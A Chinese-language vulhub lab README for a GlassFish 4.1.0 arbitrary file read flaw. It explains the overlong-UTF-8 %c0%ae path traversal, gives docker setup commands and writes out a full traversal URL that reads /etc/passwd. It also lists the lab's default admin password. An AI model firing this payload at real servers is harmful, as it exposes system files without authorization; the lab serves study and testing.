GlassFish 任意文件读取漏洞

原理

参考文章:https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-016/?fid=6904

java语言中会把%c0%ae解析为\uC0AE,最后转义为ASCCII字符的.(点)。利用%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/来向上跳转,达到目录穿越、任意文件读取的效果。

漏洞复现

编译、运行测试环境

docker-compose build
docker-compose up -d

环境运行后,访问http://your-ip:8080http://your-ip:4848即可查看web页面。其中,8080端口是网站内容,4848端口是GlassFish管理中心。

访问https://your-ip:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd,发现已成功读取/etc/passwd内容:

额外说明

本环境超级管理员密码在docker-compose.yml中设置,默认为vulhub_default_password,在4848端口利用该密码可以登录管理员账户。

Copied From: vulhub/glassfish/4.1.0